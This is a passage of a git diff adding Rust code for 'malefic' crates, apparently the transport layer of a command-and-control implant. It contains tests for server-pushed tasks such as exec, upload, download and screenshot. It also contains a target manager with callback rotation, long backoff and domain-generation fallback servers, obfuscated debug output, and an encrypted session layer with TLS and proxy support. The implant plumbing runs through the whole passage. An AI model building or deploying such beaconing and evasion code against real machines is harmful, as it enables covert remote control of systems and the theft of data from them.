client, mut server) = create_runner_pair().await; + let mut keepalive_enabled = false; + + // Heartbeat phase + client.send(make_ping(0)).await.unwrap(); + let _ = server.receive().await.unwrap().unwrap(); + server.send(make_ping(100)).await.unwrap(); + let _ = client.receive().await.unwrap().unwrap(); + + // Server enables keepalive + client.send(make_ping(1)).await.unwrap(); + let _ = server.receive().await.unwrap().unwrap(); + server.send(make_keepalive_cmd(1, true)).await.unwrap(); + let resp = client.receive().await.unwrap().unwrap(); + if let Some(en) = parse_keepalive(&resp) { + keepalive_enabled = en; + } + assert!(keepalive_enabled); + + // Upgrade to duplex + client.upgrade().unwrap(); + + // Duplex exchange: server pushes tasks, client responds + for i in 0u32..5 { + server.send(make_task_cmd(10 + i, "exec")).await.unwrap(); + } + for _ in 0..5 { + let r = poll_try_receive(&mut client, Duration::from_secs(2)) + .await + .unwrap() + .unwrap(); + assert_eq!(r.spites[0].name, "exec"); + client + .send(make_spites(r.spites[0].task_id, "result")) + .await + .unwrap(); + let _ = server.receive().await.unwrap().unwrap(); + } + + // Client sends periodic heartbeat during duplex + client.send(make_ping(99)).await.unwrap(); + assert_eq!( + server.receive().await.unwrap().unwrap().spites[0].name, + "ping" + ); + + // Server disables keepalive + server.send(make_keepalive_cmd(20, false)).await.unwrap(); + let r = poll_try_receive(&mut client, Duration::from_secs(2)) + .await + .unwrap() + .unwrap(); + if let Some(en) = parse_keepalive(&r) { + keepalive_enabled = en; + } + assert!(!keepalive_enabled); + + // Downgrade and resume heartbeat + client.downgrade().await.unwrap(); + client.send(make_ping(30)).await.unwrap(); + assert_eq!( + server.receive().await.unwrap().unwrap().spites[0].task_id, + 30 + ); + server.send(make_ping(130)).await.unwrap(); + assert_eq!( + client.receive().await.unwrap().unwrap().spites[0].task_id, + 130 + ); + } + + /// Edge case: enable keepalive then immediately disable before any + /// duplex exchange. Tests graceful handling of zero-length duplex phase. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_scenario_keepalive_rapid_toggle() { + let (mut client, mut server) = create_runner_pair().await; + let mut keepalive_enabled = false; + + // Enable + client.send(make_ping(0)).await.unwrap(); + let _ = server.receive().await.unwrap().unwrap(); + server.send(make_keepalive_cmd(0, true)).await.unwrap(); + let resp = client.receive().await.unwrap().unwrap(); + if let Some(en) = parse_keepalive(&resp) { + keepalive_enabled = en; + } + assert!(keepalive_enabled); + client.upgrade().unwrap(); + + // Immediately disable — no duplex exchange happened + server.send(make_keepalive_cmd(1, false)).await.unwrap(); + let r = poll_try_receive(&mut client, Duration::from_secs(2)) + .await + .unwrap() + .unwrap(); + if let Some(en) = parse_keepalive(&r) { + keepalive_enabled = en; + } + assert!(!keepalive_enabled); + + // Downgrade and verify heartbeat + client.downgrade().await.unwrap(); + client.send(make_ping(2)).await.unwrap(); + assert_eq!( + server.receive().await.unwrap().unwrap().spites[0].task_id, + 2 + ); + server.send(make_ping(3)).await.unwrap(); + assert_eq!( + client.receive().await.unwrap().unwrap().spites[0].task_id, + 3 + ); + } + + /// Keepalive disable arrives mixed in task stream. Verifies: + /// - Message ordering preserved + /// - Disable command identified among regular tasks + /// - Tasks after disable still delivered + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_scenario_keepalive_disable_among_tasks() { + let (mut client, mut server) = create_runner_pair().await; + let mut keepalive_enabled = false; + + // Enable keepalive + upgrade + client.send(make_ping(0)).await.unwrap(); + let _ = server.receive().await.unwrap().unwrap(); + server.send(make_keepalive_cmd(0, true)).await.unwrap(); + let resp = client.receive().await.unwrap().unwrap(); + if let Some(en) = parse_keepalive(&resp) { + keepalive_enabled = en; + } + assert!(keepalive_enabled); + client.upgrade().unwrap(); + + // Server sends: task, task, keepalive_disable, task + server.send(make_task_cmd(1, "upload")).await.unwrap(); + server.send(make_task_cmd(2, "download")).await.unwrap(); + server.send(make_keepalive_cmd(3, false)).await.unwrap(); + server.send(make_task_cmd(4, "screenshot")).await.unwrap(); + + // Client receives all 4 in order + let mut tasks = Vec::new(); + let mut disable_after_n_tasks = 0; + for _ in 0..4 { + let r = poll_try_receive(&mut client, Duration::from_secs(5)) + .await + .unwrap() + .unwrap(); + if let Some(en) = parse_keepalive(&r) { + keepalive_enabled = en; + disable_after_n_tasks = tasks.len(); + } else { + tasks.push(r.spites[0].name.clone()); + } + } + + assert!(!keepalive_enabled); + assert_eq!(disable_after_n_tasks, 2, "disable arrived after 2 tasks"); + assert_eq!(tasks, vec!["upload", "download", "screenshot"]); + + client.downgrade().await.unwrap(); + } + + // ==================================================================== + // 4. Performance — throughput & latency + // ==================================================================== + + /// Combined throughput test: heartbeat and duplex modes with varying + /// payload sizes. Measures pkt/s and KB/s for each combination. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_perf_throughput() { + let payloads: &[(usize, u32, &str)] = &[ + (26, 200, "small"), // ~26B wire (name="ping") + (1024, 200, "1KB"), + (8192, 100, "8KB"), + ]; + + // --- Heartbeat mode --- + for &(payload_size, count, label) in payloads { + let (mut client, mut server) = create_runner_pair().await; + let msg = make_sized_spites(0, payload_size); + let bpm = wire_bytes(&msg); + + let start = tokio::time::Instant::now(); + for i in 0..count { + client + .send(make_sized_spites(i, payload_size)) + .await + .unwrap(); + let _ = server.receive().await.unwrap().unwrap(); + } + let elapsed = start.elapsed(); + let pps = count as f64 / elapsed.as_secs_f64(); + let kbps = (bpm * count as usize) as f64 / elapsed.as_secs_f64() / 1024.0; + println!( + "[perf] heartbeat {}: {:.0} pkt/s, {:.1} KB/s ({}B/msg)", + label, pps, kbps, bpm + ); + assert!(elapsed.as_secs() < 30); + } + + // --- Duplex mode --- + for &(payload_size, count, label) in payloads { + let (mut client, mut server) = create_runner_pair().await; + client.upgrade().unwrap(); + let msg = make_sized_spites(0, payload_size); + let bpm = wire_bytes(&msg); + + let start = tokio::time::Instant::now(); + for i in 0..count { + server + .send(make_sized_spites(i, payload_size)) + .await + .unwrap(); + } + let mut received = 0u32; + let deadline = start + Duration::from_secs(30); + while received < count { + assert!(tokio::time::Instant::now() < deadline, "timed out"); + match client.try_receive() { + Ok(Some(_)) => received += 1, + Ok(None) => tokio::time::sleep(Duration::from_millis(1)).await, + Err(e) => panic!("error: {:?}", e), + } + } + let elapsed = start.elapsed(); + let pps = count as f64 / elapsed.as_secs_f64(); + let kbps = (bpm * count as usize) as f64 / elapsed.as_secs_f64() / 1024.0; + println!( + "[perf] duplex {}: {:.0} pkt/s, {:.1} KB/s ({}B/msg)", + label, pps, kbps, bpm + ); + assert!(elapsed.as_secs() < 30); + } + } + + /// Mode switch latency: measures upgrade + downgrade round-trip cost. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_perf_mode_switch_latency() { + let (mut client, _server) = create_runner_pair().await; + let cycles = 10u32; + + let start = tokio::time::Instant::now(); + for _ in 0..cycles { + client.upgrade().unwrap(); + client.downgrade().await.unwrap(); + } + let elapsed = start.elapsed(); + let avg_ms = elapsed.as_millis() as f64 / cycles as f64; + println!( + "[perf] mode switch: {} cycles, avg {:.1}ms/cycle", + cycles, avg_ms + ); + assert!(elapsed.as_secs() < 15); + } + + // ==================================================================== + // 5. Additional coverage — concurrency, disconnects, large payloads + // ==================================================================== + + /// Duplex concurrent send/receive: 50 messages each direction simultaneously. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_duplex_concurrent_send_receive() { + let (mut client, mut server) = create_runner_pair().await; + client.upgrade().unwrap(); + + const N: u32 = 50; + + // Spawn a task for the server to send N messages to the client + let server_send_handle = tokio::spawn(async move { + for i in 0..N { + server + .send(make_spites(1000 + i, &format!("s2c_{}", i))) + .await + .unwrap(); + } + // Also collect N messages from the client + let mut received = Vec::new(); + for _ in 0..N { + let r = server.receive().await.unwrap().unwrap(); + received.push(r.spites[0].task_id); + } + received + }); + + // Client sends N messages to the server + for i in 0..N { + client + .send(make_spites(2000 + i, &format!("c2s_{}", i))) + .await + .unwrap(); + } + + // Client receives N messages from the server via try_receive + let mut client_received = Vec::new(); + let deadline = tokio::time::Instant::now() + Duration::from_secs(10); + while (client_received.len() as u32) < N { + assert!( + tokio::time::Instant::now() < deadline, + "timed out waiting for client messages" + ); + match client.try_receive() { + Ok(Some(r)) => client_received.push(r.spites[0].task_id), + Ok(None) => tokio::time::sleep(Duration::from_millis(1)).await, + Err(e) => panic!("try_receive error: {:?}", e), + } + } + + let server_received = tokio::time::timeout(Duration::from_secs(10), server_send_handle) + .await + .expect("server task timed out") + .expect("server task panicked"); + + // Verify all 50 arrived on each side + assert_eq!(client_received.len(), N as usize); + assert_eq!(server_received.len(), N as usize); + + // All expected task_ids present (order preserved per TCP) + for i in 0..N { + assert_eq!(client_received[i as usize], 1000 + i); + assert_eq!(server_received[i as usize], 2000 + i); + } + } + + /// Duplex error on server disconnect: client detects EOF. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_duplex_error_on_server_disconnect() { + let (mut client, server) = create_runner_pair().await; + client.upgrade().unwrap(); + + // Drop the server to close the connection + drop(server); + + // Poll try_receive — should eventually return Err (read loop detects EOF) + let deadline = tokio::time::Instant::now() + Duration::from_secs(5); + loop { + assert!( + tokio::time::Instant::now() < deadline, + "timed out: client never detected server disconnect" + ); + match client.try_receive() { + Err(_) => break, // Expected: connection closed / read error + Ok(None) => tokio::time::sleep(Duration::from_millis(10)).await, + Ok(Some(_)) => panic!("should not receive data from dropped server"), + } + } + } + + /// Downgrade completes within a reasonable time (session deadline is 500ms). + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_downgrade_completes_within_timeout() { + let (mut client, mut server) = create_runner_pair().await; + client.upgrade().unwrap(); + + let start = tokio::time::Instant::now(); + client.downgrade().await.unwrap(); + let elapsed = start.elapsed(); + + // Downgrade waits for the read task to stop. With 500ms read timeout, + // worst case is one read timeout cycle before stop_signal is checked. + assert!( + elapsed < Duration::from_secs(2), + "downgrade took {:?}, expected < 2s", + elapsed + ); + + // Verify heartbeat mode works after downgrade + client.send(make_spites(1, "post_downgrade")).await.unwrap(); + let r = server.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].name, "post_downgrade"); + + server.send(make_spites(2, "reply")).await.unwrap(); + let r = client.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].name, "reply"); + } + + /// Heartbeat large payload: 64KB message tests chunked read path. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_heartbeat_large_payload() { + let (mut client, mut server) = create_runner_pair().await; + + // Send 64KB payload (read_chunk_size=8192, so ~8 chunks) + let large_msg = make_sized_spites(1, 65536); + client.send(large_msg).await.unwrap(); + + let r = server.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].task_id, 1); + assert_eq!(r.spites[0].name.len(), 65536); + + // Server sends 64KB back + let large_reply = make_sized_spites(2, 65536); + server.send(large_reply).await.unwrap(); + + let r = client.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].task_id, 2); + assert_eq!(r.spites[0].name.len(), 65536); + } + + /// Multiple upgrade/downgrade cycles: 5 full cycles with data exchange. + /// Verifies crypto counters stay in sync throughout. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_multiple_upgrade_downgrade_cycles() { + let (mut client, mut server) = create_runner_pair().await; + + for cycle in 0u32..5 { + let base = cycle * 100; + + // Upgrade to duplex + client.upgrade().unwrap(); + + // Server sends, client receives via try_receive + server + .send(make_spites(base + 1, &format!("dup_s2c_{}", cycle))) + .await + .unwrap(); + let r = poll_try_receive(&mut client, Duration::from_secs(2)) + .await + .unwrap() + .expect("expected message from server in duplex"); + assert_eq!(r.spites[0].task_id, base + 1); + + // Client sends, server receives + client + .send(make_spites(base + 2, &format!("dup_c2s_{}", cycle))) + .await + .unwrap(); + let r = server.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].task_id, base + 2); + + // Downgrade to heartbeat + client.downgrade().await.unwrap(); + + // Client sends in heartbeat, server receives + client + .send(make_spites(base + 3, &format!("hb_c2s_{}", cycle))) + .await + .unwrap(); + let r = server.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].task_id, base + 3); + + // Server sends in heartbeat, client receives + server + .send(make_spites(base + 4, &format!("hb_s2c_{}", cycle))) + .await + .unwrap(); + let r = client.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].task_id, base + 4); + } + } +} diff --git a/malefic-crates/transport/src/server_manager.rs b/malefic-crates/transport/src/server_manager.rs new file mode 100644 index 0000000..ceab082 --- /dev/null +++ b/malefic-crates/transport/src/server_manager.rs @@ -0,0 +1,466 @@ +use malefic_common::debug; +use malefic_config::{ + HttpRequestConfig, ProtocolType, ProxyConfig, RemConfig, ServerConfig, TcpConfig, TlsConfig, + TransportConfig, +}; +use malefic_gateway::ObfDebug; +use malefic_proto::proto::modulepb; + +#[derive(ObfDebug, Clone)] +pub struct Target { + config: ServerConfig, + failures: u32, +} + +impl Target { + pub fn new(config: ServerConfig) -> Self { + Self { + config, + failures: 0, + } + } + + pub fn from_proto(target: &modulepb::Target) -> Option { + if target.address.is_empty() { + return None; + } + + let tls_config = Some(match target.tls_config.as_ref() { + Some(tls) => TlsConfig { + enable: tls.enable, + version: tls.version.clone(), + sni: tls.sni.clone(), + skip_verification: tls.skip_verify, + server_ca: Vec::new(), + mtls_config: None, + }, + None => TlsConfig { + enable: false, + version: String::new(), + sni: String::new(), + skip_verification: true, + server_ca: Vec::new(), + mtls_config: None, + }, + }); + + let proxy_config = target.proxy_config.as_ref().and_then(|proxy| { + (!proxy.host.is_empty()).then(|| ProxyConfig { + proxy_type: proxy.r#type.clone(), + host: proxy.host.clone(), + port: proxy.port as u16, + username: proxy.username.clone(), + password: proxy.password.clone(), + }) + }); + + let domain_suffix = + (!target.domain_suffix.is_empty()).then(|| target.domain_suffix.clone()); + let protocol_name = target.protocol.trim().to_ascii_lowercase(); + + match protocol_name.as_str() { + "" | "tcp" => { + let transport_config = TransportConfig::Tcp(TcpConfig {}); + Some(Self::new(ServerConfig { + address: target.address.clone(), + protocol: ProtocolType::Tcp, + session_config: malefic_config::SessionConfig::default_for_transport( + &transport_config, + *malefic_config::KEEPALIVE, + ), + transport_config, + tls_config, + proxy_config, + domain_suffix, + })) + } + "http" => { + let http_config = target + .http_config + .as_ref() + .map(|http| { + let mut config = HttpRequestConfig::new( + &non_empty_or(&http.method, "POST"), + &non_empty_or(&http.path, "/"), + &non_empty_or(&http.version, "1.1"), + ); + config.headers = http.headers.clone(); + config + }) + .unwrap_or_else(|| HttpRequestConfig::new("POST", "/", "1.1")); + let transport_config = TransportConfig::Http(http_config); + + Some(Self::new(ServerConfig { + address: target.address.clone(), + protocol: ProtocolType::Http, + session_config: malefic_config::SessionConfig::default_for_transport( + &transport_config, + *malefic_config::KEEPALIVE, + ), + transport_config, + tls_config, + proxy_config, + domain_suffix, + })) + } + "rem" => { + let link = target + .rem_config + .as_ref() + .map(|r| r.link.clone()) + .unwrap_or_default(); + let transport_config = TransportConfig::Rem(RemConfig::new(link)); + + Some(Self::new(ServerConfig { + address: target.address.clone(), + protocol: ProtocolType::REM, + session_config: malefic_config::SessionConfig::default_for_transport( + &transport_config, + *malefic_config::KEEPALIVE, + ), + transport_config, + tls_config, + proxy_config, + domain_suffix, + })) + } + other => { + debug!("[target] Ignoring unsupported target protocol: {}", other); + None + } + } + } + + pub fn server_config(&self) -> &ServerConfig { + &self.config + } + + pub fn address(&self) -> &str { + &self.config.address + } +} + +#[derive(ObfDebug)] +pub struct ServerManager { + targets: Vec, + current: usize, + per_target_failures: u32, + max_cycles: i32, + cycles: u32, + #[cfg(feature = "dga")] + dga_generator: Option, +} + +/// Return `s` as owned String if non-empty, otherwise `default`. +fn non_empty_or(s: &str, default: &str) -> String { + if s.is_empty() { + default.to_string() + } else { + s.to_string() + } +} + +fn same_target(lhs: &Target, rhs: &Target) -> bool { + lhs.server_config() == rhs.server_config() +} + +fn deduplicate_targets(targets: impl IntoIterator) -> Vec { + let mut unique = Vec::new(); + for target in targets { + if unique.iter().any(|existing| same_target(existing, &target)) { + continue; + } + unique.push(target); + } + unique +} + +fn make_targets(configs: Vec) -> Vec { + deduplicate_targets(configs.into_iter().map(Target::new)) +} + +impl ServerManager { + pub fn new(configs: Vec) -> Self { + use malefic_config::{MAX_CYCLES, RETRY}; + + let per_target_failures = *RETRY; + let max_cycles = *MAX_CYCLES; + + #[cfg(feature = "dga")] + let dga_generator = { + use malefic_config::DGA_ENABLE; + if *DGA_ENABLE { + let dga_configs: Vec = configs + .iter() + .filter(|c| c.supports_dga()) + .cloned() + .collect(); + + if !dga_configs.is_empty() { + match malefic_dga::DgaGenerator::from_server_configs(dga_configs) { + Ok(gen) => Some(gen), + Err(_e) => { + debug!("[target] Failed to create DGA generator: {:?}", _e); + None + } + } + } else { + None + } + } else { + None + } + }; + + Self { + targets: make_targets(configs), + current: 0, + per_target_failures, + max_cycles, + cycles: 0, + #[cfg(feature = "dga")] + dga_generator, + } + } + + pub fn current(&self) -> Option<&Target> { + self.targets.get(self.current) + } + + pub fn mark_success(&mut self) { + if let Some(target) = self.targets.get_mut(self.current) { + target.failures = 0; + debug!("[target] {} success", target.address()); + } + self.cycles = 0; + } + + /// Returns backoff duration in seconds based on completed cycles. + /// cycle 0: no backoff, cycle 1: 300s, cycle 2: 600s, ..., capped at 12 hours. + pub fn backoff_secs(&self) -> Option { + if self.cycles == 0 { + return None; + } + const BASE_SECS: u64 = 300; + const MAX_SECS: u64 = 43200; + let shift = (self.cycles - 1).min(31); + let secs = BASE_SECS.saturating_mul(1u64 << shift); + Some(secs.min(MAX_SECS)) + } + + pub fn mark_failure(&mut self) -> bool { + if let Some(target) = self.targets.get_mut(self.current) { + target.failures += 1; + debug!( + "[target] {} failure {}/{}", + target.address(), + target.failures, + self.per_target_failures + ); + if target.failures >= self.per_target_failures { + return self.next(); + } + } + true + } + + /// Replace the entire target list (for switch REPLACE action). + /// Resets rotation state and rebuilds DGA generator if applicable. + /// Does nothing if configs is empty. + pub fn replace_targets(&mut self, configs: Vec) { + let targets = make_targets(configs.clone()); + if targets.is_empty() { + return; + } + + #[cfg(feature = "dga")] + { + use malefic_config::DGA_ENABLE; + if *DGA_ENABLE { + let dga_configs: Vec = configs + .iter() + .filter(|c| c.supports_dga()) + .cloned() + .collect(); + + self.dga_generator = if !dga_configs.is_empty() { + match malefic_dga::DgaGenerator::from_server_configs(dga_configs) { + Ok(gen) => Some(gen), + Err(_e) => { + debug!("[target] Failed to recreate DGA generator: {:?}", _e); + None + } + } + } else { + None + }; + } + } + + self.targets = targets; + self.current = 0; + self.cycles = 0; + } + + pub fn replace_target_entries(&mut self, targets: Vec) { + let targets = deduplicate_targets(targets); + if targets.is_empty() { + return; + } + + #[cfg(feature = "dga")] + { + use malefic_config::DGA_ENABLE; + if *DGA_ENABLE { + let dga_configs: Vec = targets + .iter() + .map(|target| target.server_config().clone()) + .filter(|config| config.supports_dga()) + .collect(); + + self.dga_generator = if !dga_configs.is_empty() { + match malefic_dga::DgaGenerator::from_server_configs(dga_configs) { + Ok(gen) => Some(gen), + Err(_e) => { + debug!("[target] Failed to recreate DGA generator: {:?}", _e); + None + } + } + } else { + None + }; + } + } + + self.targets = targets; + self.current = 0; + self.cycles = 0; + } + + /// Append targets to the existing list (for switch ADD action). + /// Deduplicates by full target config. Does not change current pointer. + pub fn add_targets(&mut self, configs: Vec) { + self.add_target_entries(make_targets(configs)); + } + + pub fn add_target_entries(&mut self, targets: Vec) { + for target in deduplicate_targets(targets) { + if self + .targets + .iter() + .any(|existing| same_target(existing, &target)) + { + continue; + } + debug!("[target] Added target: {}", target.address()); + self.targets.push(target); + } + } + + /// Switch the current active target to the given config. + /// If the same full target config exists in the list, moves current pointer to it. + /// If not, appends it and sets it as current. + pub fn switch_to(&mut self, config: ServerConfig) { + self.switch_to_target(Target::new(config)); + } + + pub fn switch_to_target(&mut self, target: Target) { + if let Some(idx) = self + .targets + .iter() + .position(|existing| same_target(existing, &target)) + { + self.current = idx; + self.targets[idx].failures = 0; + debug!( + "[target] Switched to existing target: {}", + self.targets[idx].address() + ); + } else { + debug!("[target] Switched to new target: {}", target.address()); + self.targets.push(target); + self.current = self.targets.len() - 1; + } + } + + pub fn new_with_params(configs: Vec, retry: u32, max_cycles: i32) -> Self { + Self { + targets: make_targets(configs), + current: 0, + per_target_failures: retry, + max_cycles, + cycles: 0, + #[cfg(feature = "dga")] + dga_generator: None, + } + } + + fn next(&mut self) -> bool { + let total = self.targets.len(); + if total == 0 { + return false; + } + + let next_index = (self.current + 1) % total; + + if next_index <= self.current { + self.cycles += 1; + debug!( + "[target] Completed cycle {}/{}", + self.cycles, + if self.max_cycles == -1 { + "∞".to_string() + } else { + self.max_cycles.to_string() + } + ); + + if self.max_cycles >= 0 && self.cycles >= self.max_cycles as u32 { + debug!("[target] Max cycles reached, stopping"); + return false; + } + + #[cfg(feature = "dga")] + if let Some(ref generator) = self.dga_generator { + for config in generator.generate_new_server() { + let target = Target::new(config); + if self + .targets + .iter() + .any(|existing| same_target(existing, &target)) + { + continue; + } + debug!("[target] Added DGA target: {}", target.address()); + self.targets.push(target); + } + } + + for target in &mut self.targets { + target.failures = 0; + } + } + + self.current = next_index; + debug!( + "[target] Switched to {}", + self.targets + .get(self.current) + .map(|target| target.address()) + .unwrap_or("unknown") + ); + true + } + + pub fn targets_from_proto(targets: &[modulepb::Target]) -> Vec { + deduplicate_targets(targets.iter().filter_map(Target::from_proto)) + } + + /// Convert proto `Target` messages to `ServerConfig` for transport-independent callers. + pub fn targets_to_server_configs(targets: &[modulepb::Target]) -> Vec { + Self::targets_from_proto(targets) + .into_iter() + .map(|target| target.config) + .collect() + } +} diff --git a/malefic-crates/transport/src/session.rs b/malefic-crates/transport/src/session.rs new file mode 100644 index 0000000..627bb00 --- /dev/null +++ b/malefic-crates/transport/src/session.rs @@ -0,0 +1,196 @@ +use std::pin::Pin; +use std::time::Duration; + +use futures::io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt}; +use futures::pin_mut; +use futures::FutureExt; +use futures_timer::Delay; + +use malefic_crypto::crypto::Cryptor; +use malefic_proto::{parser_header, SpiteData, HEADER_LEN}; + +use crate::{TransportError, TransportImpl}; +use malefic_gateway::ObfDebug; + +/// Session-layer configuration. +/// +/// `deadline` is used as the idle timeout for frame assembly when the +/// caller opts into deadline-aware reads. Progress resets the timer. +#[derive(Clone, ObfDebug)] +pub struct SessionConfig { + /// Max bytes per read call when reading large frame bodies. + pub read_chunk_size: usize, + /// Idle deadline used by deadline-aware reads. + pub deadline: Duration, +} + +impl Default for SessionConfig { + fn default() -> Self { + Self { + read_chunk_size: 8192, + deadline: Duration::from_secs(10), + } + } +} + +pub struct Session { + transport: T, + cryptor: Cryptor, + config: SessionConfig, +} + +impl Session { + pub fn new(transport: T, cryptor: Cryptor, config: SessionConfig) -> Self { + Self { + transport, + cryptor, + config, + } + } + + pub async fn read(&mut self) -> Result, TransportError> { + read(&mut self.transport, &mut self.cryptor, &self.config).await + } + + pub async fn write(&mut self, data: &SpiteData) -> Result<(), TransportError> { + let encrypted_header = self.cryptor.encrypt(data.header())?; + let encrypted_body = self.cryptor.encrypt(data.body())?; + self.transport.write_all(&encrypted_header).await?; + self.transport.write_all(&encrypted_body).await?; + self.transport.flush().await?; + Ok(()) + } + + pub fn split(self) -> (SessionReader, SessionWriter) { + let (reader, writer) = self.transport.split(); + let reader_cryptor = self.cryptor.clone(); + let writer_cryptor = self.cryptor; + + ( + SessionReader { + reader: Box::pin(reader), + cryptor: reader_cryptor, + config: self.config.clone(), + }, + SessionWriter { + writer: Box::pin(writer), + cryptor: writer_cryptor, + }, + ) + } + + pub fn reset_cryptor(&mut self) { + self.cryptor.reset(); + } + + #[allow(dead_code)] + pub fn get_mut(&mut self) -> &mut T { + &mut self.transport + } +} + +pub struct SessionReader { + reader: Pin>, + cryptor: Cryptor, + config: SessionConfig, +} + +impl SessionReader { + pub async fn read(&mut self) -> Result, TransportError> { + read(&mut self.reader, &mut self.cryptor, &self.config).await + } +} + +pub struct SessionWriter { + writer: Pin>, + cryptor: Cryptor, +} + +impl SessionWriter { + pub async fn write(&mut self, data: &SpiteData) -> Result<(), TransportError> { + let encrypted_header = self.cryptor.encrypt(data.header())?; + let encrypted_body = self.cryptor.encrypt(data.body())?; + self.writer.write_all(&encrypted_header).await?; + self.writer.write_all(&encrypted_body).await?; + self.writer.flush().await?; + Ok(()) + } + + pub async fn close(&mut self) -> Result<(), TransportError> { + self.writer.close().await?; + Ok(()) + } +} + +async fn read( + reader: &mut R, + cryptor: &mut Cryptor, + config: &SessionConfig, +) -> Result, TransportError> { + let Some(encrypted_header) = read_bytes( + reader, + HEADER_LEN, + config.read_chunk_size, + config.deadline, + true, + ) + .await? + else { + return Ok(None); + }; + + let header = cryptor.decrypt(encrypted_header)?; + let mut spite_data = parser_header(&header)?; + + let body_len = spite_data.length as usize + 1; + let encrypted_body = read_bytes( + reader, + body_len, + config.read_chunk_size, + config.deadline, + false, + ) + .await? + .ok_or(TransportError::Deadline)?; + let decrypted_body = cryptor.decrypt(encrypted_body)?; + spite_data.set_data(decrypted_body)?; + Ok(Some(spite_data)) +} + +async fn read_bytes( + reader: &mut R, + target_len: usize, + read_chunk_size: usize, + deadline: Duration, + idle_if_empty: bool, +) -> Result>, TransportError> { + let mut dst = Vec::with_capacity(target_len); + + while dst.len() < target_len { + let remaining = target_len - dst.len(); + let chunk_len = remaining.min(read_chunk_size.max(1)); + let mut chunk = vec![0u8; chunk_len]; + + let read = reader.read(&mut chunk).fuse(); + let timeout = Delay::new(deadline).fuse(); + pin_mut!(read, timeout); + + let n = futures::select! { + result = read => result?, + _ = timeout => { + if idle_if_empty && dst.is_empty() { + return Ok(None); + } + return Err(TransportError::Deadline); + } + }; + + if n == 0 { + return Err(TransportError::UnexpectedEof); + } + + dst.extend_from_slice(&chunk[..n]); + } + + Ok(Some(dst)) +} diff --git a/malefic-crates/transport/src/tcp/mod.rs b/malefic-crates/transport/src/tcp/mod.rs new file mode 100644 index 0000000..c4a13f5 --- /dev/null +++ b/malefic-crates/transport/src/tcp/mod.rs @@ -0,0 +1,345 @@ +#[cfg(feature = "tls_rustls")] +pub mod tls; + +#[cfg(feature = "tls_native")] +pub mod native_tls; + +#[cfg(feature = "proxy")] +use crate::proxie::{AsyncProxy, Auth, HTTPProxy, SOCKS5Proxy}; +use crate::{DialerExt, TransportImpl}; +use anyhow::Result; +use async_net::TcpStream; +use async_trait::async_trait; +use futures::{AsyncRead, AsyncWrite}; +use malefic_common::debug; +#[cfg(feature = "proxy")] +use malefic_config::{ + PROXY_HOST, PROXY_PASSWORD, PROXY_PORT, PROXY_URL, PROXY_USERNAME, USE_ENV_PROXY, +}; +#[cfg(feature = "proxy")] +use std::env; +use std::pin::Pin; +use std::task::{Context, Poll}; +#[cfg(feature = "proxy")] +use url::Url; + +#[cfg(feature = "tls_rustls")] +pub use tls::TlsConfig; + +pub enum TCPTransport { + Plain(T), + #[cfg(feature = "tls_rustls")] + RustlsTls(futures_rustls::client::TlsStream), + #[cfg(feature = "tls_native")] + NativeTls(async_native_tls::TlsStream), +} + +impl TCPTransport { + pub fn new_plain(stream: T) -> Self { + TCPTransport::Plain(stream) + } +} + +impl TCPTransport { + pub async fn new(stream: TcpStream, _config: malefic_config::ServerConfig) -> Result { + // Determine TLS intent from runtime config: + // - None → plain TCP (no TLS config provided) + // - Some(enable=true) → use TLS + // - Some(enable=false) → plain TCP (e.g. switch targets without TLS) + let tls_enabled = _config.tls_config.as_ref().map_or(false, |t| t.enable); + + if !tls_enabled { + return Ok(TCPTransport::Plain(stream)); + } + + cfg_if::cfg_if! { + if #[cfg(feature = "tls_rustls")] { + let tls_config = tls::build_tls_config(_config); + Self::new_with_rustls(stream, tls_config).await + } else if #[cfg(feature = "tls_native")] { + let ntls_config = native_tls::build_native_tls_config(_config); + Self::new_with_native_tls(stream, ntls_config).await + } else { + Ok(TCPTransport::Plain(stream)) + } + } + } + + #[cfg(feature = "tls_rustls")] + pub async fn new_with_rustls(stream: TcpStream, config: TlsConfig) -> Result { + let server_name = if config.server_name.is_empty() { + "localhost".to_string() + } else { + config.server_name.clone() + }; + debug!("[tls] Connecting to {} with rustls", server_name); + let connector = tls::TlsConnectorBuilder::new(config).build()?; + let sni = rustls::pki_types::ServerName::try_from(server_name.as_str()) + .map_err(|e| anyhow::anyhow!("Invalid server name: {}", e))? + .to_owned(); + let tls_stream = connector.connect(sni, stream).await?; + debug!("[tls] TLS handshake completed successfully"); + Ok(TCPTransport::RustlsTls(tls_stream)) + } + + /// Backward-compatible alias + #[cfg(feature = "tls_rustls")] + pub async fn new_with_tls(stream: TcpStream, config: TlsConfig) -> Result { + Self::new_with_rustls(stream, config).await + } + + #[cfg(feature = "tls_native")] + pub async fn new_with_native_tls( + stream: TcpStream, + config: native_tls::NativeTlsConfig, + ) -> Result { + let server_name = if config.server_name.is_empty() { + "localhost".to_string() + } else { + config.server_name.clone() + }; + debug!("[tls] Connecting to {} with native-tls", server_name); + let connector = native_tls::NativeTlsConnectorBuilder::new(config).build()?; + let tls_stream = connector.connect(&server_name, stream).await?; + debug!("[tls] Native TLS handshake completed successfully"); + Ok(TCPTransport::NativeTls(tls_stream)) + } +} + +impl AsyncRead for TCPTransport { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + match &mut *self { + TCPTransport::Plain(stream) => Pin::new(stream).poll_read(cx, buf), + #[cfg(feature = "tls_rustls")] + TCPTransport::RustlsTls(tls_stream) => Pin::new(tls_stream).poll_read(cx, buf), + #[cfg(feature = "tls_native")] + 